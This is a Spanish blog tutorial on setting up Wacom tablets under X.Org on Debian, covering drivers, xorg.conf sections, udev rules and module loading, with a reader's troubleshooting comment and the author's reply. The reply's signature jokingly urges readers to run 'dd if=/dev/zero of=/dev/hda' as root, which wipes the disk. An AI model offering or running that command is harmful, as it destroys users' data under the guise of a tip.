Tabletas Wacom en X.Org

Hola! Dado que en GNU tenemos estupendísimos programas como Inkscape o The Gimp es cada vez más común el querer disponer de una tableta digitalizadora chula para poder trabajar con gráficos de una forma más cómoda y fácil. Si habéis pensado en comprar alguna y tenéis miedo del soporte que linux os pueda brindar, os recomiendo las Wacom, tienen un soporte estupendo (parece ser que wacom colabora con el desarrollador de los drivers).

Instalando software necesario

Los drivers soportan tanto linux 2.4.x como 2.6.x, nosotros explicaremos como instalarlo y configurarlo en linux de la rama 2.6. En Debian (como no podía ser de otra forma):

$ m-a ai wacom

Y ya tenemos los módulos para el linux, ahora debemos instalar el driver para X.Org:

$ apt-get install xserver-xorg-input-wacom

También puede ser útil contar con:

$ apt-get install wacom-tools

Bien, ya tenemos todo listo para configurarlo, vamos a ello...

Configurando X.Org

Si todavía queda alguien que use Xfree86, esto es completamente compatible... Eye-wink

Las wacom disponen de varios dispositivos físicos apuntadores: el lápiz, un ratón, etc. Son capaces de detectar qué dispositivo estamos usando, es decir: si estamos utilizando el lápiz o el ratón (en mi caso). En el archivo de configuración de X.Org configuraremos los distintos tipos que soporta el driver y podremos tener configuraciones específicas para cada uno, así por ejemplo el puntero se comportará de una forma si usamos lápiz o de otra si estamos con el ratón (esto es genial!). Pues aquí va mi código para el archivo /etc/X11/xorg.conf:

## Wacom Volito
#
Section "InputDevice"
        Driver          "wacom"
        Identifier      "stylus"
        Option          "Device"                "/dev/input/wacom"
        Option          "Type"                  "stylus"
        Option          "USB"                   "on"
        Option          "Threshold"             "15"
        #Option         "Mode"                  "Relative"
        Option          "Vendor"                "WACOM"
EndSection

Section "InputDevice"
        Driver          "wacom"
        Identifier      "eraser"
        Option          "Device"                "/dev/input/wacom"
        Option          "Type"                  "eraser"
        Option          "USB"                   "on"
        Option          "Threshold"             "15"
        #Option         "Mode"                  "Relative"
        Option          "Vendor"                "WACOM"
EndSection

Section "InputDevice"
        Driver          "wacom"
        Identifier      "cursor"
        Option          "Device"                "/dev/input/wacom"
        Option          "Type"                  "cursor"
        Option          "USB"                   "on"
        Option          "Threshold"             "15"
        #Option         "Mode"                  "Relative"
        Option          "Vendor"                "WACOM"
EndSection

...y añadiremos en la Section "ServerLayout" del mismo fichero:

        InputDevice     "stylus"                "SendCoreEvents"
        InputDevice     "eraser"                "SendCoreEvents"
        InputDevice     "cursor"                "SendCoreEvents"

En las opciones de los dispositivos se puede controlar TODO, hay muchísimos parámetros (consultad el manual). Pincipalmente tenemos Threshold (sensibilidad) y Mode, que puede ser Relative o Absolute (por defecto). El modo absoluto significa que las esquinas de la tableta son las esquinas de la pantalla, recorrer la tableta es recorrer la pantalla. El modo relativo sirve para trabajar con mayor precisión, pero es más incómodo y necesitaremos usar un ratón también.

El dispositivo /dev/input/wacom

Si instaláis en Debian (y supongo que en otras igual) os aparecerá un dispositivo /dev/input/wacom que será un enlace simbólico débil a /dev/input/eventX, siendo X un número de 1 al que sea. Esto es así porque debe existir una regla para udev tal que así (archivo /etc/udev/rules.d/10_wacom.rules):

KERNEL="event*", SYSFS{idVendor}="056a", NAME="input/%k", SYMLINK="input/wacom%e"

Con este archivo ahí y ejecutando lo que tenéis en la sección Comportamiento errático del puntero os debería aparecer ese enlace. De todas formas, si no os aparece esta es mi cutre-solución-o-matic-2000:

Mediante wacdump averiguaremos el dispositivo de nuestra wacom:
$ wacdump /dev/input/event2

Si eso se trata de una wacom aparecerá algo como:

MODEL=Wacom Volito                      ROM=1.4-1
CLS=USB  VNDR=Wacom  DEV=Volito  SUB=MODEL-VOL

Pulsáis Ctrl+C (o Ctrl+X+Alt+Esc+X+F+win+5+Ctrl+Esc+U si fuese emacs) para salir y hacéis el enlace:

$ ln -s /dev/input/event2 /dev/input/wacom

Ahora, si reinciamos X.Org, tendremos la tableta funcionando... casi...

Comportamiento errático del puntero

Lo más normal es que mováis un poco el lápiz y el puntero se vuelva loco y se empiece a cliquear todo y se os quede la sesión "medio muerta" y me mandéis un mail poniéndome verde... pues bien, os comento el problema: cuando conectáis la tableta, el módulo usbmouse reclama el nuevo hardware y lo maneja él... MAL! Debemos hacer que se cargue primero el módulo wacom y luego lo que tenga que venir. También se puede configurar udev para ello... pero como tampoco me he pegado con eso, ahí va mi solución cutre:

$ /etc/init.d/udev stop
$ rmmod wacom usbmouse ehci_hcd ohci_hcd usbhid
$ modprobe wacom
$ /etc/inid.d/udev start

...y ya podemos reiniciar X.Org y disfrutar de nuestra tableta! Smiling

Apéndice A: instalación y compilación from scratch

Pues nada... nos gusta vivir al límite... eh? vayamos a la página del proyecto Linux Wacom y pinchamos en Project Status en la versión en desarrollo (actualmente 0.7.7-4), guardamos el archivo en disco y lo descomprimimos:

# unp linuxwacom-0.7.7-4.tar.bz2
#cd linuxwacom-0.7.7-4

Veamos qué conseguiremos con esto:

# ./configure
...morralla sin significado aparente para nosotros...
----------------------------------------
BUILD ENVIRONMENT:
architecture - i486-linux-gnu
linux kernel - yes 2.6.18
module versioning - yes -DCONFIG_MODVERSIONS -DMODVERSIONS -include /lib/modules/2.6.18-3-686/build/include/linux/modversions.h
kernel source - yes /lib/modules/2.6.18-3-686/build
Xorg SDK - yes /usr/include/xorg
XSERVER64 - no
dlloader - yes
XLib - yes /usr/lib
TCL - yes /usr/include/tcl8.4/
TK - yes /usr/include/tcl8.4/
ncurses - yes
BUILD OPTIONS:
wacom.o - no
wacdump - yes
xidump - yes
libwacomcfg - yes
libwacomxi - yes
xsetwacom - yes
hid.o - no
usbmouse.o - no
evdev.o - no
mousedev.o - no
input.o - no
tabletdev.o - no
wacom_drv.so - yes /usr/lib/xorg/modules/input
wacom_drv.o - no
----------------------------------------

Aquí nos dice que elementos nos va a generar y de cuáles va a pasar olímpicamente. Nos interesa (sobre todo) que genere wacom.o (el módulo para el kernel) y wacom_drv.so (el driver para X.Org). Si no os aparece a yes puede ser por dos causas: por defecto no se generá (ejecutar ./configure --help y os indicarán los parámetros) o porque os falten librerías de desarrollo de las X o las cabeceras del núcleo. El resto de elementos a generar son módulos más o menos útiles cuya utilidad queda fuera de esta receta...
Una vez hayamos ejecutado el configure y esté todo a nuestro gusto:

# make
$ make install

Y si nada de esto da error... ya podemos empezar con la receta como si tal cosa... Smiling

Enlaces

Página del proyecto Linux Wacom

Comentarios

Opciones de visualización de comentarios

Seleccione la forma que prefiera para mostrar los comentarios y haga clic en «Guardar las opciones» para activar los cambios.

No puedo hacerla funcionar

Hola int-0 estoy aqui, intentando hacer funcionar una tablet FT-0405-U0B, estoy en debian etch (estable) completamente actualizado, he seguido tu guia, y para el kernel que yo tengo (2.6.18-4-686) se supone que no tengo que hacer el module-assistant... parece que todo funciona, y de hecho en /dev/input/ tengo a wacom como enlace a event3, y haciendo un wacdump /dev/input/event3 me sale lo que indicas pero si muevo el lapiz, no obtengo ninguna respuesta de wacdump, y ni en krita ni en gimp obtengo movimiento con el lapiz... te pongo algunos datos a ver si me puedes hechar un cable:

dmesg | grep wacom

sbcore: registered new driver wacom
drivers/usb/input/wacom.c: v1.45:USB Wacom Graphire and Wacom Intuos tablet driver

modprobe --list | grep wacom

/lib/modules/2.6.18-4-686/kernel/drivers/usb/input/wacom.ko

more /proc/bus/usb/devices

T: Bus=02 Lev=01 Prnt=01 Port=00 Cnt=01 Dev#= 2 Spd=1.5 MxCh= 0
D: Ver= 1.10 Cls=00(>ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs= 1
P: Vendor=056a ProdID=0060 Rev= 1.41
S: Manufacturer=WACOM
S: Product=FT-0405-UV1.4-1
C:* #Ifs= 1 Cfg#= 1 Atr=80 MxPwr= 40mA
I: If#= 0 Alt= 0 #EPs= 1 Cls=03(HID ) Sub=01 Prot=02 Driver=wacom
E: Ad=81(I) Atr=03(Int.) MxPS= 8 Ivl=10ms

cat /var/log/Xorg.0.log | grep Wacom

(II) Wacom driver level: 47-0.7.4 $
(II) XINPUT: Adding extended input device "cursor" (type: Wacom Cursor)
(II) XINPUT: Adding extended input device "eraser" (type: Wacom Eraser)
(II) XINPUT: Adding extended input device "stylus" (type: Wacom Stylus)
stylus Wacom X driver grabbed event device
(==) Wacom USB Volito tablet speed=9600 maxX=5104 maxY=3712 maxZ=511 resX=1016 resY=1016 suppress=2 tilt=disabled
(==) Wacom device "stylus" top X=0 top Y=0 bottom X=5104 bottom Y=3712
(==) Wacom device "eraser" top X=0 top Y=0 bottom X=5104 bottom Y=3712
(==) Wacom device "cursor" top X=0 top Y=0 bottom X=5104 bottom Y=3712

la salida de wacdump

wacdump v0.7.4

MODEL=Wacom Volito ROM=1.4-1
CLS=USB VNDR=Wacom DEV=Volito SUB=MODEL-VOL

TOOLTYPE=NONE IN_PROX=out
BUTTON=+00000 (+00000 .. +00000) POS_X=+00000 (+00000 .. +05104)
POS_Y=+00000 (+00000 .. +03712) DISTANCE=+00000 (+00000 .. +00032)
PRESSURE=+00000 (+00000 .. +00511) RELWHEEL=+00000 (-00001 .. +00001)

LEFT= MIDDLE= RIGHT= EXTRA=
SIDE= TOUCH= STYLUS= STYLUS2=
BT0= BT1= BT2= BT3=
BT4= BT5= BT6= BT7=
BT8= BT9= BT10= BT11=
BT12= BT13= BT14= BT15=
BT16= BT17= BT18= BT19=
BT20= BT21= BT22= BT23=

Podrias sugerirme que es lo que puedo estar haciendo mal?

Un saludo

Imagen de int-0

Pues verás...

...a mi una vez me funcionaba absolutamente todo, es decir, no obtenía ningún mensaje de error ni nada pero no me funcionaba. Hice una prueba: clickeando en la tabla ejecuté wacdump y me aparecía que estaba pulsado, sin embargo, lo retiraba y no decía nada. Es decir: sólo leía el estado una sóla vez. Lo que yo hago es lo siguiente:

- Cierra la sesión X y para el gdm
- Para udev/hotplug
- Descarga usb-core (para ello tienes que descargar antes más módulos)
- Cuando descargues toodos los módulos que usen usb-core (si éste último no puedes, no pasa nada) carga el módulo wacom.
- Una vez cargado wacom reinicia udev (esto te volverá a cargar los módulos que descargaste, si no es así... cárgalos tú y reinicia udev).
- Reinicia gdm y disfruta de tu tablet.

Si esto no te funciona tendrás que recompilártelo con modules-assistant o directamente de la página.

Si la solución de arriba funciona, tu problema es el siguiente: wacom debe cargarse antes que el resto de módulos de la clase usb-input, de lo contrario, las tablets no son manejadas por wacom sino que se tratan como usb-mouse, y esto no es bueno... supongo que habrá una solución elegante para todo esto, pero ahora mismo no tengo mucho tiempo para investigar Sad.
------------------------------------------
For Happy Lusers! Try this as root!
dd if=/dev/zero of=/dev/hda bs=1G count=10
------------------------------------------

------------------------------------------------------------
$ python -c "print 'VG9udG8gZWwgcXVlIGxvIGxlYSA6KQ==\n'.decode('base64')"
------------------------------------------------------------